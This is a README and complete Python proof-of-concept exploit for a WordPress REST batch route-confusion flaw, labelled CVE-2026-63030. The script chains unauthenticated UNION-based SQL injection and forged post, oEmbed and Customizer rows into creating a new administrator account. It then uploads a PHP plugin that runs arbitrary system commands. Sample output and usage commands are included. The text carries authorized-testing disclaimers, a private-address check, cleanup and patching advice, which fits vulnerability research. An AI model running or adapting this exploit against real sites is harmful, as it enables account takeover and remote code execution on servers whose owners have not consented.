WordPress REST API batch 路由混淆 + SQL 注入 导致 未授权创建管理员 → 远程代码执行 的完整利用链 PoC。

仅供授权安全测试、漏洞复现与研究使用。禁止用于未授权目标。

REST batch 路由混淆
    → author__not_in SQL 注入
    → UNION 伪造 WP_Post / oEmbed cache / Customizer changeset
    → Customizer 发布时切换为已有管理员上下文
    → REST /wp/v2/users 创建新管理员
    → 后台上传一次性插件
    → 执行系统命令

核心不是“堆叠写库”，而是：

1. serve_batch_request_v1() 校验阶段与调度阶段对 $matches / $validation 索引不同步，造成 route confusion。
2. 错位后，字符串形式的 author_exclude 进入 WP_Query 的 author__not_in，拼进 NOT IN (...)，形成 SQL 注入。
3. 通过 UNION SELECT 伪造完整 wp_posts 行，触发 oEmbed / Customizer 逻辑，把当前用户上下文切换为已有管理员。
4. 以管理员身份调用 REST 用户创建接口，写入新管理员。
5. 登录后台上传插件，实现命令执行。

• Python 3.10+（仅标准库，无第三方依赖）
• 目标为你有权测试的 WordPress 实例
• 目标 PHP 至少保留一种可执行函数（proc_open / passthru / system / shell_exec / exec / popen 之一）
• 若 disable_functions 禁用了全部命令执行函数，仍可成功创建管理员，但 RCE 阶段会失败

CVE-2026-63030/
├── exp.py        # 完整利用脚本（单文件，零依赖）
└── README.md     # 本说明

python3 exp.py --url http://192.168.1.10:8080/

python3 exp.py --url http://192.168.199.134:9005/ --username encenc --password 'encenc123' --email admin@encenc.com --command 'id' --timeout 60

[*] Creating administrator via SQLi -> customizer bridge...
[+] Generated administrator: labadmin
[*] Password: S3cure!pass
[*] Email: labadmin@lab.local
[*] Logging in as generated administrator...
[+] Authenticated.
[*] Uploading one-shot command plugin...
[*] Plugin path: http://192.168.1.10:8080/wp-content/plugins/lab_wp2_cmd_xxxxxxxx/lab_wp2_cmd_xxxxxxxx.php
[*] Executing command: id
[+] command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[via: proc_open]
[*] Deleting generated administrator...
[+] Generated administrator removed.
[*] Cleaning up temporary plugin...
[+] Temporary plugin removed.

脚本会在结束后尝试：

1. 删除本次创建的管理员
2. 删除临时插件目录

若中途失败，请根据输出中的账号密码手动清理。

1. 仅授权环境：请勿对未授权系统使用。
2. 目标限制：脚本默认拒绝公网 IP 字面量目标，仅允许私网 / 回环 / 链路本地地址，或域名形式目标。
3. PHP 加固：若出现 has been disabled for security reasons，说明 disable_functions 禁用了对应函数。PoC 会依次尝试多种执行方式；若全部被禁，RCE 不可用，但管理员创建阶段仍可能成功。
4. 站点内容：需要至少一篇已发布文章或页面，用于种子 oEmbed cache。
5. 幂等与清理：每次运行会创建新管理员与临时插件，成功路径会自动清理；失败时请人工检查 wp-admin/users.php 与 wp-content/plugins/。

• 升级到官方已修复版本（以 WordPress 安全公告为准）
• 在补丁不可用时，可临时限制对 /batch/v1 的未授权访问
• 生产环境保持 disable_functions 与最小权限 Web 用户配置，降低 RCE 落地影响

本仓库中的代码仅用于安全研究与授权漏洞复现。使用者需自行确保遵守当地法律法规及目标系统授权范围。作者不对任何滥用行为承担责任。

脚本代码

#!/usr/bin/env python3

from __future__ import annotations

import argparse
import base64
import hashlib
import http.cookiejar
import io
import ipaddress
import json
import re
import secrets
import sys
import time
import urllib.error
import urllib.parse
import urllib.request
import uuid
import zipfile
from dataclasses import dataclass
from typing import Any, Dict, Iterable, List, Optional


BEGIN = "LAB_CMD_BEGIN"
END = "LAB_CMD_END"
DEFAULT_COMMAND = "id"
DEFAULT_ADMIN_PREFIX = "wp2_"
DEFAULT_PASSWORD_PREFIX = "Wp2!"
DEFAULT_EMAIL_DOMAIN = "wp2shell.invalid"

_DESYNC_PRIMER = {"method": "POST", "path": "///"}
_POST_DATE = "2020-01-01 00:00:00"
_OEMBED_SIZE = 'a:2:{s:5:"width";s:3:"500";s:6:"height";s:3:"750";}'
_NAV_URL = "https://example.invalid/"


class TargetError(Exception):
    pass


class LabError(RuntimeError):
    pass


@dataclass
class Response:
    status: int
    elapsed: float
    body: str

    def json(self) -> Any:
        return json.loads(self.body)


@dataclass
class CreatedAdmin:
    username: str
    password: str
    email: str
    source_admin_id: int
    table_prefix: str


class BatchClient:
    def __init__(
        self,
        base_url: str,
        *,
        timeout: float = 30.0,
        proxy: Optional[str] = None,
        user_agent: str = "cve-2026-63030",
    ) -> None:
        self.base_url = base_url.rstrip("/")
        self.timeout = timeout
        self.user_agent = user_agent
        handlers = [urllib.request.ProxyHandler({"http": proxy, "https": proxy})] if proxy else []
        self._opener = urllib.request.build_opener(*handlers)

    @property
    def endpoint(self) -> str:
        return f"{self.base_url}/?rest_route=/batch/v1"

    def post(self, payload: dict) -> Response:
        request = urllib.request.Request(
            self.endpoint,
            data=json.dumps(payload).encode(),
            method="POST",
            headers={"Content-Type": "application/json", "User-Agent": self.user_agent},
        )
        start = time.monotonic()
        try:
            resp = self._opener.open(request, timeout=self.timeout)
            status, body = resp.status, resp.read().decode("utf-8", "replace")
        except urllib.error.HTTPError as exc:
            status, body = exc.code, exc.read().decode("utf-8", "replace")
        except OSError as exc:
            reason = getattr(exc, "reason", exc)
            raise TargetError(f"cannot reach {self.endpoint}: {reason}") from None
        return Response(status, time.monotonic() - start, body)

    def union_inject(self, author_not_in: str) -> Response:
        return self.post(self._union_payload(author_not_in))

    @staticmethod
    def _union_payload(author_not_in: str) -> dict:
        query = urllib.parse.urlencode(
            {"author_exclude": author_not_in, "orderby": "none", "per_page": "500"}
        )
        inner = {
            "requests": [
                _DESYNC_PRIMER,
                {"method": "GET", "path": "/wp/v2/posts/999999?" + query},
                {"method": "GET", "path": "/wp/v2/posts"},
            ]
        }
        return {
            "requests": [
                _DESYNC_PRIMER,
                {"method": "POST", "path": "/wp/v2/posts", "body": inner},
                {"method": "POST", "path": "/batch/v1", "body": {"requests": []}},
            ]
        }


class UnionSQLi:
    _COLUMNS = 23
    _TITLE_COL = 6
    _RE = re.compile(r"\|\|([0-9A-Fa-f]*)\|\|")
    _PUBLISH = "0x7075626c697368"
    _POST = "0x706f7374"
    _DATE = "0x323032302d30312d30312030303a30303a3030"

    def __init__(self, client: BatchClient) -> None:
        self.client = client
        self.requests = 0

    def available(self) -> bool:
        return self._read("SELECT 0x4f4b") == "OK"

    def extract(self, expression: str) -> str:
        return self._read(expression) or ""

    def integer(self, expression: str) -> int:
        text = (self._read(f"SELECT ({expression})") or "").strip()
        if not text.lstrip("-").isdigit():
            raise ValueError(f"expected an integer from {expression!r}, got {text!r}")
        return int(text)

    def _read(self, expression: str) -> Optional[str]:
        self.requests += 1
        response = self.client.union_inject(f"0) UNION SELECT {self._columns(expression)}-- -")
        match = self._RE.search(response.body)
        if not match:
            return None
        digits = match.group(1)
        if len(digits) % 2:
            digits = digits[:-1]
        try:
            return bytes.fromhex(digits).decode("utf-8", "replace")
        except ValueError:
            return None

    def _columns(self, expression: str) -> str:
        columns = []
        for index in range(1, self._COLUMNS + 1):
            if index == 1:
                columns.append("999999")
            elif index in (3, 4, 15, 16):
                columns.append(self._DATE)
            elif index == self._TITLE_COL:
                columns.append(f"CONCAT(0x7c7c,HEX(CAST(({expression})AS CHAR)),0x7c7c)")
            elif index == 8:
                columns.append(self._PUBLISH)
            elif index == 21:
                columns.append(self._POST)
            else:
                columns.append(str(index))
        return ",".join(columns)


def mysql_hex(text: str) -> str:
    return f"0x{text.encode().hex()}" if text else "''"


def wp_posts_tuple(
    row_id: int,
    *,
    body: str = "",
    title: str = "",
    status: str = "publish",
    slug: str = "",
    parent: int = 0,
    kind: str = "post",
    author: int = 1,
) -> str:
    columns = [
        str(row_id),
        str(author),
        mysql_hex(_POST_DATE),
        mysql_hex(_POST_DATE),
        mysql_hex(body),
        mysql_hex(title),
        "''",
        mysql_hex(status),
        mysql_hex("closed"),
        mysql_hex("closed"),
        "''",
        mysql_hex(slug),
        "''",
        "''",
        mysql_hex(_POST_DATE),
        mysql_hex(_POST_DATE),
        "''",
        str(parent),
        "''",
        "0",
        mysql_hex(kind),
        "''",
        "0",
    ]
    return ",".join(columns)


@dataclass
class _PoisonGraph:
    cache_post_ids: List[int]
    source_admin_id: int

    def __post_init__(self) -> None:
        self.outer_id = 1800000000 + secrets.randbelow(100000000)
        self.nav_item_id = self.outer_id + 1
        self.inner_id = self.outer_id + 2
        self.changeset_id, self.cache_id, self.request_id = self.cache_post_ids

    def rows(self, changeset: str, trigger_embed_url: str) -> List[str]:
        return [
            wp_posts_tuple(
                0,
                body=f'{trigger_embed_url}',
                title="trigger",
                slug="trigger",
            ),
            wp_posts_tuple(
                self.changeset_id,
                body=changeset,
                title="changeset",
                status="future",
                slug=str(uuid.uuid4()),
                parent=self.outer_id,
                kind="customize_changeset",
            ),
            wp_posts_tuple(
                self.outer_id,
                body="outer",
                title="outer",
                status="draft",
                slug="outer",
                parent=self.changeset_id,
            ),
            wp_posts_tuple(
                self.cache_id,
                title="cache",
                slug="cache",
                parent=self.changeset_id,
            ),
            wp_posts_tuple(
                self.nav_item_id,
                body="nav",
                title="nav",
                slug="nav",
                parent=self.request_id,
                kind="nav_menu_item",
            ),
            wp_posts_tuple(
                self.request_id,
                body="parse",
                title="parse",
                status="parse",
                slug="parse",
                parent=self.inner_id,
                kind="request",
            ),
            wp_posts_tuple(
                self.inner_id,
                body="inner",
                title="inner",
                status="draft",
                slug="inner",
                parent=self.request_id,
            ),
        ]


class PreAuthAdminCreator:
    def __init__(
        self,
        base_url: str,
        *,
        timeout: float = 30.0,
        proxy: Optional[str] = None,
        user_agent: str = "cve-2026-63030",
    ) -> None:
        self.base_url = base_url.rstrip("/")
        self.timeout = timeout
        self.client = BatchClient(
            base_url,
            timeout=timeout,
            proxy=proxy,
            user_agent=user_agent,
        )
        handlers = [urllib.request.ProxyHandler({"http": proxy, "https": proxy})] if proxy else []
        self.http = urllib.request.build_opener(*handlers)
        self.http.addheaders = [("User-Agent", user_agent)]

    def create_admin(
        self,
        username: str | None = None,
        password: str | None = None,
        email: str | None = None,
    ) -> CreatedAdmin:
        sqli = UnionSQLi(self.client)
        if not sqli.available():
            raise RuntimeError("UNION fake-post primitive is not available on this target")

        nonce = secrets.token_hex(6)
        loopback_embeds = self._loopback_embed_urls(nonce)
        self._prime_oembed_posts(loopback_embeds)

        posts_table = self._posts_table(sqli)
        table_prefix = posts_table[:-5]
        source_admin_id = self._first_admin_id(sqli, table_prefix)
        backing_ids = self._oembed_backing_ids(sqli, posts_table, loopback_embeds)

        final_username = username or f"{DEFAULT_ADMIN_PREFIX}{nonce}"
        final_password = password or f"{DEFAULT_PASSWORD_PREFIX}{secrets.token_urlsafe(15)}"
        final_email = email or f"{final_username}@{DEFAULT_EMAIL_DOMAIN}"

        self._submit_user_write(
            backing_ids,
            loopback_embeds,
            source_admin_id,
            {
                "username": final_username,
                "password": final_password,
                "email": final_email,
                "roles": ["administrator"],
            },
        )
        return CreatedAdmin(
            final_username, final_password, final_email, source_admin_id, table_prefix
        )

    def _posts_table(self, sqli: UnionSQLi) -> str:
        table_name = sqli.extract(
            "SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES "
            "WHERE TABLE_SCHEMA=DATABASE() AND RIGHT(TABLE_NAME,6)=0x5f706f737473 "
            "ORDER BY CHAR_LENGTH(TABLE_NAME),TABLE_NAME LIMIT 1"
        )
        if not re.fullmatch(r"[A-Za-z0-9_$]+", table_name):
            raise RuntimeError("could not recover wp_posts table name")
        return table_name

    def _first_admin_id(self, sqli: UnionSQLi, table_prefix: str) -> int:
        capabilities_key = mysql_hex(table_prefix + "capabilities")
        serialized_admin_cap = mysql_hex('s:13:"administrator";b:1;')
        admin_id = sqli.integer(
            f"SELECT u.ID FROM `{table_prefix}users` u "
            f"JOIN `{table_prefix}usermeta` m ON m.user_id=u.ID "
            f"WHERE m.meta_key={capabilities_key} AND INSTR(m.meta_value,{serialized_admin_cap})>0 "
            "ORDER BY u.ID LIMIT 1"
        )
        if admin_id < 1:
            raise RuntimeError("could not find an existing administrator ID")
        return admin_id

    def _loopback_embed_urls(self, nonce: str) -> List[str]:
        base_link = self._first_embeddable_link()
        split = urllib.parse.urlsplit(base_link)
        return [
            urllib.parse.urlunsplit((split.scheme, split.netloc, split.path, split.query, f"{nonce}{i}"))
            for i in range(3)
        ]

    def _first_embeddable_link(self) -> str:
        for route in ("/wp/v2/posts", "/wp/v2/pages"):
            try:
                with self._open_rest(route, {"per_page": "1", "_fields": "link"}) as response:
                    items = json.loads(response.read())
            except urllib.error.HTTPError:
                continue
            if items and items[0].get("link"):
                return items[0]["link"]
        raise RuntimeError(
            "no public post or page found to seed the oEmbed cache "
            "(need at least one published post or page)"
        )

    def _prime_oembed_posts(self, embed_urls: Iterable[str]) -> None:
        content = "".join(f'{url}' for url in embed_urls)
        self._render_union_posts([wp_posts_tuple(0, body=content, title="seed", slug="seed")])

    def _oembed_backing_ids(self, sqli: UnionSQLi, posts_table: str, embed_urls: Iterable[str]) -> List[int]:
        ids = []
        for embed_url in embed_urls:
            cache_name = hashlib.md5((embed_url + _OEMBED_SIZE).encode()).hexdigest()
            ids.append(
                sqli.integer(
                    f"SELECT ID FROM `{posts_table}` "
                    "WHERE post_type=0x6f656d6265645f6361636865 "
                    f"AND post_name=0x{cache_name.encode().hex()} "
                    "ORDER BY ID DESC LIMIT 1"
                )
            )
        if any(row_id < 1 for row_id in ids) or len(set(ids)) != 3:
            raise RuntimeError("could not recover three unique oEmbed cache post IDs")
        return ids

    def _submit_user_write(
        self,
        backing_ids: List[int],
        embed_urls: List[str],
        source_admin_id: int,
        user_body: Dict[str, object],
    ) -> None:
        graph = _PoisonGraph(backing_ids, source_admin_id)
        rows = graph.rows(self._changeset_payload(graph.nav_item_id, source_admin_id), embed_urls[1])
        self._render_union_posts(
            rows,
            tail_requests=[
                {"method": "POST", "path": "/wp/v2/users", "body": user_body},
                {"method": "POST", "path": "/wp/v2/users", "body": user_body},
            ],
        )

    def _changeset_payload(self, nav_item_id: int, user_id: int) -> str:
        return json.dumps(
            {
                f"nav_menu_item[{nav_item_id}]": {
                    "type": "nav_menu_item",
                    "user_id": user_id,
                    "value": {
                        "object_id": 0,
                        "object": "",
                        "menu_item_parent": 0,
                        "position": 0,
                        "type": "custom",
                        "title": "generated",
                        "url": _NAV_URL,
                        "target": "",
                        "attr_title": "",
                        "description": "",
                        "classes": "",
                        "xfn": "",
                        "status": "publish",
                        "nav_menu_term_id": 0,
                        "_invalid": False,
                    },
                }
            },
            separators=(",", ":"),
        )

    def _render_union_posts(self, post_rows: List[str], tail_requests: Optional[List[dict]] = None) -> None:
        union_payload = "1) AND 1=0 UNION ALL SELECT " + " UNION ALL SELECT ".join(post_rows) + " -- -"
        requests = [
            {"method": "GET", "path": "http://:"},
            {
                "method": "GET",
                "path": "/wp/v2/widgets?"
                + urllib.parse.urlencode(
                    {
                        "author_exclude": union_payload,
                        "per_page": -1,
                        "orderby": "none",
                        "context": "view",
                    }
                ),
            },
            {"method": "GET", "path": "/wp/v2/posts"},
        ]
        if tail_requests:
            requests.extend(tail_requests)
        self._nested_batch(requests, timeout=60)

    def _nested_batch(self, requests: List[dict], *, timeout: float) -> None:
        original_timeout = self.client.timeout
        self.client.timeout = timeout
        try:
            response = self.client.post(
                {
                    "requests": [
                        {"method": "POST", "path": "http://:"},
                        {"method": "POST", "path": "/wp/v2/posts", "body": {"requests": requests}},
                        {"method": "POST", "path": "/batch/v1"},
                    ]
                }
            )
        finally:
            self.client.timeout = original_timeout
        if response.status >= 400:
            raise TargetError(f"batch request returned HTTP {response.status}")

    def _open_rest(self, route: str, query: Dict[str, str]):
        url = f"{self.base_url}/?" + urllib.parse.urlencode({"rest_route": route, **query})
        try:
            return self.http.open(url, timeout=self.timeout)
        except urllib.error.HTTPError:
            raise
        except OSError as exc:
            reason = getattr(exc, "reason", exc)
            raise TargetError(f"cannot reach {url}: {reason}") from None


class CommandAdminSession:
    def __init__(self, base_url: str, timeout: float, command: str) -> None:
        self.base_url = base_url.rstrip("/")
        self.timeout = timeout
        self.command = command
        self.slug = "lab_wp2_cmd_" + secrets.token_hex(4)
        self.token = secrets.token_hex(16)
        self.cookies = http.cookiejar.CookieJar()
        self.opener = urllib.request.build_opener(
            urllib.request.HTTPCookieProcessor(self.cookies)
        )
        self.opener.addheaders = [("User-Agent", "cve-2026-63030/1.0")]

    def login(self, username: str, password: str) -> None:
        self._get("/wp-login.php")
        self._post_form(
            "/wp-login.php",
            {
                "log": username,
                "pwd": password,
                "wp-submit": "Log In",
                "redirect_to": self.base_url + "/wp-admin/",
                "testcookie": "1",
            },
        )
        if not any(cookie.name.startswith("wordpress_logged_in") for cookie in self.cookies):
            raise LabError("login failed: wordpress_logged_in cookie not found")

    def upload_plugin(self, expected_username: str) -> str:
        page = self._get("/wp-admin/plugin-install.php?tab=upload")
        nonce = self._extract_upload_nonce(page)
        if not nonce:
            raise LabError("plugin upload nonce not found")

        body, content_type = self._multipart(
            {
                "_wpnonce": nonce,
                "_wp_http_referer": "/wp-admin/plugin-install.php?tab=upload",
                "install-plugin-submit": "Install Now",
            },
            {"pluginzip": (self.slug + ".zip", self._plugin_zip(expected_username))},
        )
        response = self._post_raw(
            "/wp-admin/update.php?action=upload-plugin",
            body,
            {"Content-Type": content_type},
        )
        if "Plugin installed successfully" not in response and self.slug not in response:
            raise LabError("plugin upload did not look successful")
        return f"/wp-content/plugins/{self.slug}/{self.slug}.php"

    def run_command(self, plugin_path: str) -> str:
        query = urllib.parse.urlencode({"t": self.token})
        response = self._get(plugin_path + "?" + query)
        match = re.search(rf"{BEGIN}\n?(.*?)\n?{END}", response, re.S)
        if not match:
            raise LabError("command output marker not found; plugin may not be reachable")
        return match.group(1).strip()

    def delete_generated_admin(self, plugin_path: str, admin: CreatedAdmin) -> bool:
        query = urllib.parse.urlencode(
            {
                "t": self.token,
                "delete_user": admin.username,
                "reassign": str(admin.source_admin_id),
            }
        )
        response = self._get(plugin_path + "?" + query)
        return "LAB_DELETE_USER_OK" in response

    def cleanup_plugin(self, plugin_path: str) -> bool:
        query = urllib.parse.urlencode({"t": self.token, "cleanup": "1"})
        try:
            response = self._get(plugin_path + "?" + query)
        except urllib.error.HTTPError as exc:
            return exc.code == 404
        return "LAB_CLEANUP_OK" in response

    def _get(self, path: str) -> str:
        with self.opener.open(self.base_url + path, timeout=self.timeout) as response:
            return response.read().decode("utf-8", "replace")

    def _post_form(self, path: str, data: dict[str, str]) -> str:
        return self._post_raw(
            path,
            urllib.parse.urlencode(data).encode(),
            {"Content-Type": "application/x-www-form-urlencoded"},
        )

    def _post_raw(self, path: str, data: bytes, headers: dict[str, str]) -> str:
        request = urllib.request.Request(self.base_url + path, data=data, headers=headers)
        with self.opener.open(request, timeout=self.timeout) as response:
            return response.read().decode("utf-8", "replace")

    def _plugin_zip(self, expected_username: str) -> bytes:
        command_b64 = base64.b64encode(self.command.encode()).decode("ascii")
        expected_user_b64 = base64.b64encode(expected_username.encode()).decode("ascii")
        php = f"""<?php
/*
Plugin Name: CVE-2026-63030 Command Runner
Description: One-shot plugin for authorized lab reproduction.
*/
$token = '{self.token}';
if (!isset($_GET['t']) || !hash_equals($token, (string) $_GET['t'])) {{
    http_response_code(404);
    exit;
}}

function lab_wp2_remove_tree($path) {{
    if (!is_dir($path)) {{
        return;
    }}
    $items = scandir($path);
    if (!is_array($items)) {{
        return;
    }}
    foreach ($items as $item) {{
        if ($item === '.' || $item === '..') {{
            continue;
        }}
        $child = $path . DIRECTORY_SEPARATOR . $item;
        if (is_dir($child)) {{
            lab_wp2_remove_tree($child);
        }} else {{
            @unlink($child);
        }}
    }}
    @rmdir($path);
}}

function lab_wp2_run_cmd($cmd) {{
    $disabled = array_map('trim', explode(',', (string) ini_get('disable_functions')));
    $disabled = array_map('strtolower', $disabled);
    $out = '';
    $used = '';

    if (function_exists('proc_open') && !in_array('proc_open', $disabled, true)) {{
        $desc = array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w'));
        $proc = @proc_open($cmd, $desc, $pipes);
        if (is_resource($proc)) {{
            fclose($pipes[0]);
            $out = stream_get_contents($pipes[1]);
            $err = stream_get_contents($pipes[2]);
            fclose($pipes[1]);
            fclose($pipes[2]);
            proc_close($proc);
            $out = (string) $out . (string) $err;
            $used = 'proc_open';
            return array($out, $used);
        }}
    }}

    foreach (array('passthru', 'system', 'shell_exec', 'exec', 'popen') as $fn) {{
        if (!function_exists($fn) || in_array($fn, $disabled, true)) {{
            continue;
        }}
        if ($fn === 'passthru' || $fn === 'system') {{
            ob_start();
            @$fn($cmd);
            $out = (string) ob_get_clean();
            $used = $fn;
            return array($out, $used);
        }}
        if ($fn === 'shell_exec') {{
            $out = (string) @$fn($cmd);
            $used = $fn;
            return array($out, $used);
        }}
        if ($fn === 'exec') {{
            $lines = array();
            @$fn($cmd, $lines);
            $out = implode("\\n", $lines);
            $used = $fn;
            return array($out, $used);
        }}
        if ($fn === 'popen') {{
            $h = @$fn($cmd, 'r');
            if (is_resource($h)) {{
                $out = (string) stream_get_contents($h);
                pclose($h);
                $used = $fn;
                return array($out, $used);
            }}
        }}
    }}

    return array("ERROR: no command execution function available (disable_functions)", "none");
}}

if (isset($_GET['delete_user'])) {{
    require_once dirname(__DIR__, 3) . '/wp-load.php';
    require_once ABSPATH . 'wp-admin/includes/user.php';

    $login = (string) $_GET['delete_user'];
    $expected = base64_decode('{expected_user_b64}');
    $reassign = isset($_GET['reassign']) ? (int) $_GET['reassign'] : 0;
    if (!hash_equals($expected, $login) || $reassign < 1) {{
        http_response_code(400);
        echo "LAB_DELETE_USER_REFUSED\\n";
        exit;
    }}

    $user = get_user_by('login', $login);
    $ok = $user ? wp_delete_user((int) $user->ID, $reassign) : false;
    echo $ok ? "LAB_DELETE_USER_OK\\n" : "LAB_DELETE_USER_FAILED\\n";
    exit;
}}

if (isset($_GET['cleanup'])) {{
    $dir = __DIR__;
    if (preg_match('/\\/lab_wp2_cmd_[a-f0-9]{{8}}$/', $dir)) {{
        chdir(dirname($dir));
        lab_wp2_remove_tree($dir);
        echo "LAB_CLEANUP_OK\\n";
        exit;
    }}
    http_response_code(500);
    echo "LAB_CLEANUP_REFUSED\\n";
    exit;
}}

header('Content-Type: text/plain; charset=utf-8');
$cmd = base64_decode('{command_b64}');
list($output, $used) = lab_wp2_run_cmd($cmd . ' 2>&1');
echo "{BEGIN}\\n";
echo $output;
if ($used !== '' && $used !== 'none') {{
    echo "\\n[via: " . $used . "]";
}}
echo "\\n{END}\\n";
"""
        buffer = io.BytesIO()
        with zipfile.ZipFile(buffer, "w", zipfile.ZIP_DEFLATED) as archive:
            archive.writestr(f"{self.slug}/{self.slug}.php", php)
        return buffer.getvalue()

    @staticmethod
    def _extract_upload_nonce(html: str) -> str | None:
        form = re.search(
            r'action="[^"]*action=upload-plugin".*?name="_wpnonce"[^>]*value="([0-9a-f]+)"',
            html,
            re.S,
        )
        if form:
            return form.group(1)
        tag = re.search(r'<input[^>]*name="_wpnonce"[^>]*value="([0-9a-f]+)"', html)
        return tag.group(1) if tag else None

    @staticmethod
    def _multipart(
        fields: dict[str, str], files: dict[str, tuple[str, bytes]]
    ) -> tuple[bytes, str]:
        boundary = "----cve202663030" + uuid.uuid4().hex
        buffer = io.BytesIO()
        for name, value in fields.items():
            buffer.write(f"--{boundary}\r\n".encode())
            buffer.write(f'Content-Disposition: form-data; name="{name}"\r\n\r\n'.encode())
            buffer.write(str(value).encode() + b"\r\n")
        for name, (filename, content) in files.items():
            buffer.write(f"--{boundary}\r\n".encode())
            buffer.write(
                f'Content-Disposition: form-data; name="{name}"; filename="{filename}"\r\n'.encode()
            )
            buffer.write(b"Content-Type: application/zip\r\n\r\n")
            buffer.write(content + b"\r\n")
        buffer.write(f"--{boundary}--\r\n".encode())
        return buffer.getvalue(), "multipart/form-data; boundary=" + boundary


def require_lab_target(url: str) -> None:
    parsed = urllib.parse.urlparse(url)
    if parsed.scheme not in ("http", "https"):
        raise SystemExit(f"[-] Refusing target {url!r}; scheme must be http or https")
    host = parsed.hostname
    if not host:
        raise SystemExit(f"[-] Refusing target {url!r}; hostname is required")
    try:
        ip = ipaddress.ip_address(host)
    except ValueError:
        return
    if not (ip.is_private or ip.is_loopback or ip.is_link_local):
        raise SystemExit("[-] Refusing non-private / non-loopback lab host")


def parse_args() -> argparse.Namespace:
    parser = argparse.ArgumentParser(
        description="CVE-2026-63030 PoC: WordPress REST batch route-confusion SQLi to admin to RCE"
    )
    parser.add_argument("--url", required=True, help="Target WordPress URL")
    parser.add_argument("--username", default=None, help="Admin username to create (optional)")
    parser.add_argument("--password", default=None, help="Admin password to create (optional)")
    parser.add_argument("--email", default=None, help="Admin email to create (optional)")
    parser.add_argument("--command", "-c", default=DEFAULT_COMMAND, help="Command to run (default: id)")
    parser.add_argument("--timeout", type=float, default=60.0, help="HTTP timeout seconds")
    return parser.parse_args()


def main() -> int:
    args = parse_args()
    if not args.command.strip():
        print("[-] --command must not be empty", file=sys.stderr)
        return 2
    require_lab_target(args.url)

    admin: CreatedAdmin | None = None
    plugin_path = ""
    session = CommandAdminSession(args.url, args.timeout, args.command)

    try:
        print("[*] Creating administrator via SQLi -> customizer bridge...")
        creator = PreAuthAdminCreator(
            args.url,
            timeout=args.timeout,
            user_agent="cve-2026-63030/1.0",
        )
        admin = creator.create_admin(
            username=args.username,
            password=args.password,
            email=args.email,
        )
        print(f"[+] Generated administrator: {admin.username}")
        print(f"[*] Password: {admin.password}")
        print(f"[*] Email: {admin.email}")

        print("[*] Logging in as generated administrator...")
        session.login(admin.username, admin.password)
        print("[+] Authenticated.")

        print("[*] Uploading one-shot command plugin...")
        plugin_path = session.upload_plugin(admin.username)
        print(f"[*] Plugin path: {urllib.parse.urljoin(args.url, plugin_path.lstrip('/'))}")

        print(f"[*] Executing command: {args.command}")
        output = session.run_command(plugin_path)
        print("[+] command output:")
        print(output)
    except (LabError, RuntimeError, TargetError, urllib.error.URLError, TimeoutError, OSError) as exc:
        print(f"[-] {exc}", file=sys.stderr)
        if admin:
            print(
                "[!] Generated admin may need manual cleanup: "
                f"{admin.username} / {admin.password}",
                file=sys.stderr,
            )
        return 1
    finally:
        if admin and plugin_path:
            try:
                print("[*] Deleting generated administrator...")
                if session.delete_generated_admin(plugin_path, admin):
                    print("[+] Generated administrator removed.")
                else:
                    print("[!] Generated administrator cleanup did not confirm.", file=sys.stderr)
            except Exception as exc:
                print(f"[!] Generated administrator cleanup failed: {exc}", file=sys.stderr)

        if plugin_path:
            try:
                print("[*] Cleaning up temporary plugin...")
                if session.cleanup_plugin(plugin_path):
                    print("[+] Temporary plugin removed.")
                else:
                    print("[!] Temporary plugin cleanup did not confirm.", file=sys.stderr)
            except Exception as exc:
                print(f"[!] Temporary plugin cleanup failed: {exc}", file=sys.stderr)

    return 0


if __name__ == "__main__":
    raise SystemExit(main())